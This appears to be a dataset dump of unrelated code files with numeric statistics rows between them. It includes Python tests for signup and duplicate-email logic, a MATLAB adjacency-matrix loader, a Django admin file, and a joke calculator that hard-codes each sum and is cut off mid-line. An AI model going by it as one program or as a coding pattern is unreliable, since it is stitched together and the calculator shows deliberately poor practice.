self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # Check that an email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(1, len(messages)) # Send a second POST request. self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # Check that no new email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(1, len(messages)) def test_email_only_sent_if_signup_was_successful(self): with self.swap(feconf, 'CAN_SEND_EMAILS_TO_USERS', True): config_services.set_property( self.admin_id, email_manager.EMAIL_FOOTER.name, self.new_footer) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, self.new_email_content) self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) self.post_json( feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': 'BadUsername!!!' }, csrf_token=csrf_token, expect_errors=True, expected_status_int=400) # Check that no email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(0, len(messages)) # Redo the signup process with a good username. self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(1, len(messages)) def test_record_of_sent_email_is_written_to_datastore(self): with self.swap(feconf, 'CAN_SEND_EMAILS_TO_USERS', True): config_services.set_property( self.admin_id, email_manager.EMAIL_FOOTER.name, self.new_footer) config_services.set_property( self.admin_id, email_manager.SIGNUP_EMAIL_CONTENT.name, self.new_email_content) config_services.set_property( self.admin_id, email_manager.EMAIL_SENDER_NAME.name, 'Email Sender') all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) self.login(self.EDITOR_EMAIL) response = self.testapp.get(feconf.SIGNUP_URL) csrf_token = self.get_csrf_token_from_response(response) self.post_json(feconf.SIGNUP_DATA_URL, { 'agreed_to_terms': True, 'username': self.EDITOR_USERNAME }, csrf_token=csrf_token) # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.EDITOR_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) # Check that the contents of the model are correct. sent_email_model = all_models[0] self.assertEqual( sent_email_model.recipient_id, self.get_user_id_from_email(self.EDITOR_EMAIL)) self.assertEqual( sent_email_model.recipient_email, self.EDITOR_EMAIL) self.assertEqual( sent_email_model.sender_id, feconf.SYSTEM_COMMITTER_ID) self.assertEqual( sent_email_model.sender_email, 'Email Sender <%s>' % feconf.SYSTEM_EMAIL_ADDRESS) self.assertEqual( sent_email_model.intent, feconf.EMAIL_INTENT_SIGNUP) self.assertEqual( sent_email_model.subject, 'Welcome!') self.assertEqual( sent_email_model.html_body, self.expected_html_email_content) class DuplicateEmailTests(test_utils.GenericTestBase): """Test that duplicate emails are not sent""" def setUp(self): super(DuplicateEmailTests, self).setUp() self.signup(self.NEW_USER_EMAIL, self.NEW_USER_USERNAME) self.new_user_id = self.get_user_id_from_email(self.NEW_USER_EMAIL) self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.set_admins([self.ADMIN_USERNAME]) self.new_footer = ( 'Unsubscribe from emails at your ' '<a href="https://www.site.com/prefs">Preferences page</a>.') self.new_email_content = { 'subject': 'Welcome!', 'html_body': ( 'Here is some HTML text.<br>' 'With a <b>bold</b> bit and an <i>italic</i> bit.<br>') } # pylint: disable=unused-argument def _generate_hash_for_tests( cls, recipient_id, email_subject, email_body): return 'Email Hash' self.generate_hash_ctx = self.swap( email_models.SentEmailModel, '_generate_hash', types.MethodType(_generate_hash_for_tests, email_models.SentEmailModel)) def test_send_email_does_not_resend_if_same_hash_exists(self): can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) duplicate_email_ctx = self.swap( feconf, 'DUPLICATE_EMAIL_INTERVAL_MINS', 1000) logged_errors = [] def _log_error_for_tests(error_message): logged_errors.append(error_message) log_new_error_counter = test_utils.CallCounter(_log_error_for_tests) log_new_error_ctx = self.swap( email_manager, 'log_new_error', log_new_error_counter) with can_send_emails_ctx, duplicate_email_ctx, log_new_error_ctx: all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) email_models.SentEmailModel.create( self.new_user_id, self.NEW_USER_EMAIL, feconf.SYSTEM_COMMITTER_ID, feconf.SYSTEM_EMAIL_ADDRESS, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body', datetime.datetime.utcnow()) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) # pylint: disable=protected-access email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # pylint: enable=protected-access # An error should be recorded in the logs. self.assertEqual(log_new_error_counter.times_called, 1) self.assertRegexpMatches(logged_errors[0], 'Duplicate email') # Check that a new email was not sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(0, len(messages)) # Check that the content of this email was not recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) def test_send_email_does_not_resend_within_duplicate_interval(self): can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) duplicate_email_ctx = self.swap( feconf, 'DUPLICATE_EMAIL_INTERVAL_MINS', 2) logged_errors = [] def _log_error_for_tests(error_message): logged_errors.append(error_message) log_new_error_counter = test_utils.CallCounter(_log_error_for_tests) log_new_error_ctx = self.swap( email_manager, 'log_new_error', log_new_error_counter) with can_send_emails_ctx, duplicate_email_ctx, log_new_error_ctx: config_services.set_property( self.admin_id, email_manager.EMAIL_SENDER_NAME.name, 'Email Sender') all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) # pylint: disable=protected-access email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) # No error should be recorded in the logs. self.assertEqual(log_new_error_counter.times_called, 0) email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # pylint: enable=protected-access # An error should be recorded in the logs. self.assertEqual(log_new_error_counter.times_called, 1) self.assertRegexpMatches(logged_errors[0], 'Duplicate email') # Check that a new email was not sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was not recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) def test_sending_email_with_different_recipient_but_same_hash(self): """Hash for both messages is same but recipients are different""" can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) duplicate_email_ctx = self.swap( feconf, 'DUPLICATE_EMAIL_INTERVAL_MINS', 2) with can_send_emails_ctx, duplicate_email_ctx, self.generate_hash_ctx: all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) email_models.SentEmailModel.create( 'recipient_id', self.NEW_USER_EMAIL, feconf.SYSTEM_COMMITTER_ID, feconf.SYSTEM_EMAIL_ADDRESS, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body', datetime.datetime.utcnow()) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) # pylint: disable=protected-access email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # pylint: enable=protected-access # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 2) # Check that the contents of the model are correct. sent_email_model1 = all_models[0] sent_email_model2 = all_models[1] self.assertEqual( sent_email_model1.email_hash, sent_email_model2.email_hash) self.assertNotEqual( sent_email_model1.recipient_id, sent_email_model2.recipient_id) self.assertEqual( sent_email_model1.subject, sent_email_model2.subject) self.assertEqual( sent_email_model1.html_body, sent_email_model2.html_body) def test_sending_email_with_different_subject_but_same_hash(self): """Hash for both messages is same but subjects are different""" can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) duplicate_email_ctx = self.swap( feconf, 'DUPLICATE_EMAIL_INTERVAL_MINS', 2) with can_send_emails_ctx, duplicate_email_ctx, self.generate_hash_ctx: all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) email_models.SentEmailModel.create( self.new_user_id, self.NEW_USER_EMAIL, feconf.SYSTEM_COMMITTER_ID, feconf.SYSTEM_EMAIL_ADDRESS, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject1', 'Email Body', datetime.datetime.utcnow()) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) # pylint: disable=protected-access email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # pylint: enable=protected-access # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 2) # Check that the contents of the model are correct. sent_email_model1 = all_models[0] sent_email_model2 = all_models[1] self.assertEqual( sent_email_model1.email_hash, sent_email_model2.email_hash) self.assertEqual( sent_email_model1.recipient_id, sent_email_model2.recipient_id) self.assertNotEqual( sent_email_model1.subject, sent_email_model2.subject) self.assertEqual( sent_email_model1.html_body, sent_email_model2.html_body) def test_sending_email_with_different_body_but_same_hash(self): """Hash for both messages is same but body is different""" can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) duplicate_email_ctx = self.swap( feconf, 'DUPLICATE_EMAIL_INTERVAL_MINS', 2) with can_send_emails_ctx, duplicate_email_ctx, self.generate_hash_ctx: all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) email_models.SentEmailModel.create( self.new_user_id, self.NEW_USER_EMAIL, feconf.SYSTEM_COMMITTER_ID, feconf.SYSTEM_EMAIL_ADDRESS, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body1', datetime.datetime.utcnow()) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) # pylint: disable=protected-access email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # pylint: enable=protected-access # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 2) # Check that the contents of the model are correct. sent_email_model1 = all_models[0] sent_email_model2 = all_models[1] self.assertEqual( sent_email_model1.email_hash, sent_email_model2.email_hash) self.assertEqual( sent_email_model1.recipient_id, sent_email_model2.recipient_id) self.assertEqual( sent_email_model1.subject, sent_email_model2.subject) self.assertNotEqual( sent_email_model1.html_body, sent_email_model2.html_body) def test_duplicate_emails_are_sent_after_some_time_has_elapsed(self): can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS_TO_USERS', True) duplicate_email_ctx = self.swap( feconf, 'DUPLICATE_EMAIL_INTERVAL_MINS', 2) with can_send_emails_ctx, duplicate_email_ctx: all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 0) email_sent_time = (datetime.datetime.utcnow() - datetime.timedelta(minutes=4)) email_models.SentEmailModel.create( self.new_user_id, self.NEW_USER_EMAIL, feconf.SYSTEM_COMMITTER_ID, feconf.SYSTEM_EMAIL_ADDRESS, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body', email_sent_time) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 1) email_sent_time = (datetime.datetime.utcnow() - datetime.timedelta(minutes=2)) email_models.SentEmailModel.create( self.new_user_id, self.NEW_USER_EMAIL, feconf.SYSTEM_COMMITTER_ID, feconf.SYSTEM_EMAIL_ADDRESS, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body', email_sent_time) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 2) # pylint: disable=protected-access email_manager._send_email( self.new_user_id, feconf.SYSTEM_COMMITTER_ID, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body') # pylint: enable=protected-access # Check that a new email was sent. messages = self.mail_stub.get_sent_messages(to=self.NEW_USER_EMAIL) self.assertEqual(1, len(messages)) # Check that the content of this email was recorded in # SentEmailModel. all_models = email_models.SentEmailModel.get_all().fetch() self.assertEqual(len(all_models), 3) # Check that the contents of the model are correct. sent_email_model1 = all_models[0] sent_email_model2 = all_models[1] sent_email_model3 = all_models[2] self.assertEqual( sent_email_model1.email_hash, sent_email_model2.email_hash) self.assertEqual( sent_email_model1.email_hash, sent_email_model3.email_hash)
42.410354
79
0.632112
4,008
33,589
4.964571
0.076098
0.054277
0.018796
0.021108
0.861996
0.826716
0.81571
0.809529
0.802091
0.786612
0
0.005393
0.287832
33,589
791
80
42.46397
0.826429
0.113073
0
0.784387
0
0.005576
0.0866
0.018237
0
0
0
0
0.154275
1
0.04461
false
0
0.01487
0.001859
0.066915
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d054d8b366cbfcc9dbd632a77ad473fe2e4a7f5f
1,025
py
Python
Segmentation_UGSCNN/Spherical_UNet/python_scripts_for_filters_orders/checking_original.py
Abdulah-Fawaz/Benchmarking-Surface-DL
9693379f26d57f9aabf28b973f40a9f6f627d26f
[ "MIT" ]
2
2021-12-04T07:04:56.000Z
2021-12-13T16:28:50.000Z
Segmentation_UGSCNN/Spherical_UNet/python_scripts_for_filters_orders/checking_original.py
Abdulah-Fawaz/Benchmarking-Surface-DL
9693379f26d57f9aabf28b973f40a9f6f627d26f
[ "MIT" ]
1
2021-12-21T09:36:11.000Z
2022-01-25T10:26:43.000Z
Segmentation_UGSCNN/GraphMethods/python_scripts_for_filters_orders/checking_original.py
Abdulah-Fawaz/Benchmarking-Surface-DL
9693379f26d57f9aabf28b973f40a9f6f627d26f
[ "MIT" ]
1
2022-02-27T17:38:19.000Z
2022-02-27T17:38:19.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Jan 20 13:23:44 2020 @author: fa19 """ import scipy.io as sio adj_6 = sio.loadmat('/home/fa19/Documents/my_version_spherical_unet/neighbour_indices_matlab/adj_mat_order_2ring_40962.mat')['adj_mat_order_2ring']-1 adj_5 = sio.loadmat('/home/fa19/Documents/my_version_spherical_unet/neighbour_indices_matlab/adj_mat_order_2ring_10242.mat')['adj_mat_order_2ring']-1 adj_4 = sio.loadmat('/home/fa19/Documents/my_version_spherical_unet/neighbour_indices_matlab/adj_mat_order_2ring_2562.mat')['adj_mat_order_2ring']-1 adj_3 = sio.loadmat('/home/fa19/Documents/my_version_spherical_unet/neighbour_indices_matlab/adj_mat_order_2ring_642.mat')['adj_mat_order_2ring']-1 adj_2 = sio.loadmat('/home/fa19/Documents/my_version_spherical_unet/neighbour_indices_matlab/adj_mat_order_2ring_162.mat')['adj_mat_order_2ring']-1 adj_1 = sio.loadmat('/home/fa19/Documents/my_version_spherical_unet/neighbour_indices_matlab/adj_mat_order_2ring_42.mat')['adj_mat_order_2ring']-1
53.947368
149
0.826341
173
1,025
4.445087
0.283237
0.093628
0.171652
0.249675
0.854356
0.854356
0.828349
0.678804
0.678804
0.678804
0
0.07551
0.043902
1,025
18
150
56.944444
0.709184
0.091707
0
0
0
0
0.773913
0.65
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
0
0
0
null
0
0
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d093bdac18e0189adb2f929fdc44a9ea0324b2fd
424
py
Python
test.py
egberts/folding_includes
a565e12deb85195e133d7d0a79f5037cd57c098a
[ "MIT" ]
null
null
null
test.py
egberts/folding_includes
a565e12deb85195e133d7d0a79f5037cd57c098a
[ "MIT" ]
null
null
null
test.py
egberts/folding_includes
a565e12deb85195e133d7d0a79f5037cd57c098a
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import folding_includes test = folding_includes.de_quote(" 'filespec';") print("de_quote filespec: %s" % test) test = folding_includes.de_quote(' "filespec" ; ') print("de_quote filespec: %s" % test) test = folding_includes.de_quote(" 'filespec\".txt' ;") print("de_quote filespec: %s" % test) test = folding_includes.de_quote(" filespec;") print("de_quote filespec: %s" % test) exit(0)
30.285714
58
0.693396
58
424
4.844828
0.275862
0.199288
0.427046
0.298932
0.839858
0.839858
0.839858
0.839858
0.839858
0.839858
0
0.005464
0.136792
424
14
59
30.285714
0.762295
0.049528
0
0.4
0
0
0.352357
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0.4
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
d0a9bd1d74267ab999eb18236945b4b01d3d53cf
118
py
Python
testing.py
Vladimir37/Sanelotto
94dfa1dfc74776cc6a954d26b6ce5d38f2cf6bf1
[ "MIT" ]
8
2016-03-21T17:09:02.000Z
2019-01-11T20:22:31.000Z
testing.py
Vladimir37/Sanelotto
94dfa1dfc74776cc6a954d26b6ce5d38f2cf6bf1
[ "MIT" ]
null
null
null
testing.py
Vladimir37/Sanelotto
94dfa1dfc74776cc6a954d26b6ce5d38f2cf6bf1
[ "MIT" ]
null
null
null
from tests import creating_testing, local_testing, server_testing creating_testing() local_testing() server_testing()
23.6
65
0.855932
15
118
6.333333
0.466667
0.315789
0.421053
0.568421
0.842105
0.842105
0
0
0
0
0
0
0.076271
118
5
66
23.6
0.87156
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0
1
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
8
d0b1b423ba6d888ef1f3ada9c723dc627689aafc
43
py
Python
HelloWorld.py
mateen16/python_test
b6422fcd99baac615ef8146cb96d147cd97f111a
[ "MIT" ]
null
null
null
HelloWorld.py
mateen16/python_test
b6422fcd99baac615ef8146cb96d147cd97f111a
[ "MIT" ]
null
null
null
HelloWorld.py
mateen16/python_test
b6422fcd99baac615ef8146cb96d147cd97f111a
[ "MIT" ]
null
null
null
print("Hello World") print("Hello World 1")
21.5
22
0.72093
7
43
4.428571
0.571429
0.645161
0.967742
0
0
0
0
0
0
0
0
0.025641
0.093023
43
2
22
21.5
0.769231
0
0
0
0
0
0.545455
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
d0da771e9f4f67689922c136b3ab9338a9db3fa0
212
py
Python
library_app/admin.py
Jamesjr95/Capstone_proj
f5b29291ae6621a38020a969719abe5900634cee
[ "MIT" ]
null
null
null
library_app/admin.py
Jamesjr95/Capstone_proj
f5b29291ae6621a38020a969719abe5900634cee
[ "MIT" ]
null
null
null
library_app/admin.py
Jamesjr95/Capstone_proj
f5b29291ae6621a38020a969719abe5900634cee
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Book, Character, Checkout, Author, CheckoutItem, Character # Register your models here. admin.site.register([Book, Checkout, Author, CheckoutItem, Character])
42.4
78
0.801887
26
212
6.538462
0.576923
0.164706
0.305882
0.411765
0
0
0
0
0
0
0
0
0.108491
212
5
79
42.4
0.899471
0.122642
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
1901d6a85df36f44255bfb498336f4ead322a14f
899,525
py
Python
my_first_calculator.py
StoyanTinchev/calculator-generator
670368b62b4c049fac2a052772be076862056e02
[ "MIT" ]
null
null
null
my_first_calculator.py
StoyanTinchev/calculator-generator
670368b62b4c049fac2a052772be076862056e02
[ "MIT" ]
null
null
null
my_first_calculator.py
StoyanTinchev/calculator-generator
670368b62b4c049fac2a052772be076862056e02
[ "MIT" ]
null
null
null
# my_first_calculator.py by Stoyan Tinchev # TODO: Make it work for all floating point numbers too # TODO: Upgrade my programming skills so that they bring me money # TODO: Make such a calculator in other languages print("Welcome to my first calculator!") print("It can add, subtract, multiply and divide whole numbers from 0 to 50!") firstNum = int(input("Enter first number: ")) sign = input("What do you want to do? (+, -, *, /): ") secondNum = int(input("Enter second number: ")) if firstNum == 0 and sign == "+" and secondNum == 0 : print("0 + 0 = 0") if firstNum == 1 and sign == "+" and secondNum == 0 : print("1 + 0 = 1") if firstNum == 2 and sign == "+" and secondNum == 0 : print("2 + 0 = 2") if firstNum == 3 and sign == "+" and secondNum == 0 : print("3 + 0 = 3") if firstNum == 4 and sign == "+" and secondNum == 0 : print("4 + 0 = 4") if firstNum == 5 and sign == "+" and secondNum == 0 : print("5 + 0 = 5") if firstNum == 6 and sign == "+" and secondNum == 0 : print("6 + 0 = 6") if firstNum == 7 and sign == "+" and secondNum == 0 : print("7 + 0 = 7") if firstNum == 8 and sign == "+" and secondNum == 0 : print("8 + 0 = 8") if firstNum == 9 and sign == "+" and secondNum == 0 : print("9 + 0 = 9") if firstNum == 10 and sign == "+" and secondNum == 0 : print("10 + 0 = 10") if firstNum == 11 and sign == "+" and secondNum == 0 : print("11 + 0 = 11") if firstNum == 12 and sign == "+" and secondNum == 0 : print("12 + 0 = 12") if firstNum == 13 and sign == "+" and secondNum == 0 : print("13 + 0 = 13") if firstNum == 14 and sign == "+" and secondNum == 0 : print("14 + 0 = 14") if firstNum == 15 and sign == "+" and secondNum == 0 : print("15 + 0 = 15") if firstNum == 16 and sign == "+" and secondNum == 0 : print("16 + 0 = 16") if firstNum == 17 and sign == "+" and secondNum == 0 : print("17 + 0 = 17") if firstNum == 18 and sign == "+" and secondNum == 0 : print("18 + 0 = 18") if firstNum == 19 and sign == "+" and secondNum == 0 : print("19 + 0 = 19") if firstNum == 20 and sign == "+" and secondNum == 0 : print("20 + 0 = 20") if firstNum == 21 and sign == "+" and secondNum == 0 : print("21 + 0 = 21") if firstNum == 22 and sign == "+" and secondNum == 0 : print("22 + 0 = 22") if firstNum == 23 and sign == "+" and secondNum == 0 : print("23 + 0 = 23") if firstNum == 24 and sign == "+" and secondNum == 0 : print("24 + 0 = 24") if firstNum == 25 and sign == "+" and secondNum == 0 : print("25 + 0 = 25") if firstNum == 26 and sign == "+" and secondNum == 0 : print("26 + 0 = 26") if firstNum == 27 and sign == "+" and secondNum == 0 : print("27 + 0 = 27") if firstNum == 28 and sign == "+" and secondNum == 0 : print("28 + 0 = 28") if firstNum == 29 and sign == "+" and secondNum == 0 : print("29 + 0 = 29") if firstNum == 30 and sign == "+" and secondNum == 0 : print("30 + 0 = 30") if firstNum == 31 and sign == "+" and secondNum == 0 : print("31 + 0 = 31") if firstNum == 32 and sign == "+" and secondNum == 0 : print("32 + 0 = 32") if firstNum == 33 and sign == "+" and secondNum == 0 : print("33 + 0 = 33") if firstNum == 34 and sign == "+" and secondNum == 0 : print("34 + 0 = 34") if firstNum == 35 and sign == "+" and secondNum == 0 : print("35 + 0 = 35") if firstNum == 36 and sign == "+" and secondNum == 0 : print("36 + 0 = 36") if firstNum == 37 and sign == "+" and secondNum == 0 : print("37 + 0 = 37") if firstNum == 38 and sign == "+" and secondNum == 0 : print("38 + 0 = 38") if firstNum == 39 and sign == "+" and secondNum == 0 : print("39 + 0 = 39") if firstNum == 40 and sign == "+" and secondNum == 0 : print("40 + 0 = 40") if firstNum == 41 and sign == "+" and secondNum == 0 : print("41 + 0 = 41") if firstNum == 42 and sign == "+" and secondNum == 0 : print("42 + 0 = 42") if firstNum == 43 and sign == "+" and secondNum == 0 : print("43 + 0 = 43") if firstNum == 44 and sign == "+" and secondNum == 0 : print("44 + 0 = 44") if firstNum == 45 and sign == "+" and secondNum == 0 : print("45 + 0 = 45") if firstNum == 46 and sign == "+" and secondNum == 0 : print("46 + 0 = 46") if firstNum == 47 and sign == "+" and secondNum == 0 : print("47 + 0 = 47") if firstNum == 48 and sign == "+" and secondNum == 0 : print("48 + 0 = 48") if firstNum == 49 and sign == "+" and secondNum == 0 : print("49 + 0 = 49") if firstNum == 50 and sign == "+" and secondNum == 0 : print("50 + 0 = 50") if firstNum == 0 and sign == "+" and secondNum == 1 : print("0 + 1 = 1") if firstNum == 1 and sign == "+" and secondNum == 1 : print("1 + 1 = 2") if firstNum == 2 and sign == "+" and secondNum == 1 : print("2 + 1 = 3") if firstNum == 3 and sign == "+" and secondNum == 1 : print("3 + 1 = 4") if firstNum == 4 and sign == "+" and secondNum == 1 : print("4 + 1 = 5") if firstNum == 5 and sign == "+" and secondNum == 1 : print("5 + 1 = 6") if firstNum == 6 and sign == "+" and secondNum == 1 : print("6 + 1 = 7") if firstNum == 7 and sign == "+" and secondNum == 1 : print("7 + 1 = 8") if firstNum == 8 and sign == "+" and secondNum == 1 : print("8 + 1 = 9") if firstNum == 9 and sign == "+" and secondNum == 1 : print("9 + 1 = 10") if firstNum == 10 and sign == "+" and secondNum == 1 : print("10 + 1 = 11") if firstNum == 11 and sign == "+" and secondNum == 1 : print("11 + 1 = 12") if firstNum == 12 and sign == "+" and secondNum == 1 : print("12 + 1 = 13") if firstNum == 13 and sign == "+" and secondNum == 1 : print("13 + 1 = 14") if firstNum == 14 and sign == "+" and secondNum == 1 : print("14 + 1 = 15") if firstNum == 15 and sign == "+" and secondNum == 1 : print("15 + 1 = 16") if firstNum == 16 and sign == "+" and secondNum == 1 : print("16 + 1 = 17") if firstNum == 17 and sign == "+" and secondNum == 1 : print("17 + 1 = 18") if firstNum == 18 and sign == "+" and secondNum == 1 : print("18 + 1 = 19") if firstNum == 19 and sign == "+" and secondNum == 1 : print("19 + 1 = 20") if firstNum == 20 and sign == "+" and secondNum == 1 : print("20 + 1 = 21") if firstNum == 21 and sign == "+" and secondNum == 1 : print("21 + 1 = 22") if firstNum == 22 and sign == "+" and secondNum == 1 : print("22 + 1 = 23") if firstNum == 23 and sign == "+" and secondNum == 1 : print("23 + 1 = 24") if firstNum == 24 and sign == "+" and secondNum == 1 : print("24 + 1 = 25") if firstNum == 25 and sign == "+" and secondNum == 1 : print("25 + 1 = 26") if firstNum == 26 and sign == "+" and secondNum == 1 : print("26 + 1 = 27") if firstNum == 27 and sign == "+" and secondNum == 1 : print("27 + 1 = 28") if firstNum == 28 and sign == "+" and secondNum == 1 : print("28 + 1 = 29") if firstNum == 29 and sign == "+" and secondNum == 1 : print("29 + 1 = 30") if firstNum == 30 and sign == "+" and secondNum == 1 : print("30 + 1 = 31") if firstNum == 31 and sign == "+" and secondNum == 1 : print("31 + 1 = 32") if firstNum == 32 and sign == "+" and secondNum == 1 : print("32 + 1 = 33") if firstNum == 33 and sign == "+" and secondNum == 1 : print("33 + 1 = 34") if firstNum == 34 and sign == "+" and secondNum == 1 : print("34 + 1 = 35") if firstNum == 35 and sign == "+" and secondNum == 1 : print("35 + 1 = 36") if firstNum == 36 and sign == "+" and secondNum == 1 : print("36 + 1 = 37") if firstNum == 37 and sign == "+" and secondNum == 1 : print("37 + 1 = 38") if firstNum == 38 and sign == "+" and secondNum == 1 : print("38 + 1 = 39") if firstNum == 39 and sign == "+" and secondNum == 1 : print("39 + 1 = 40") if firstNum == 40 and sign == "+" and secondNum == 1 : print("40 + 1 = 41") if firstNum == 41 and sign == "+" and secondNum == 1 : print("41 + 1 = 42") if firstNum == 42 and sign == "+" and secondNum == 1 : print("42 + 1 = 43") if firstNum == 43 and sign == "+" and secondNum == 1 : print("43 + 1 = 44") if firstNum == 44 and sign == "+" and secondNum == 1 : print("44 + 1 = 45") if firstNum == 45 and sign == "+" and secondNum == 1 : print("45 + 1 = 46") if firstNum == 46 and sign == "+" and secondNum == 1 : print("46 + 1 = 47") if firstNum == 47 and sign == "+" and secondNum == 1 : print("47 + 1 = 48") if 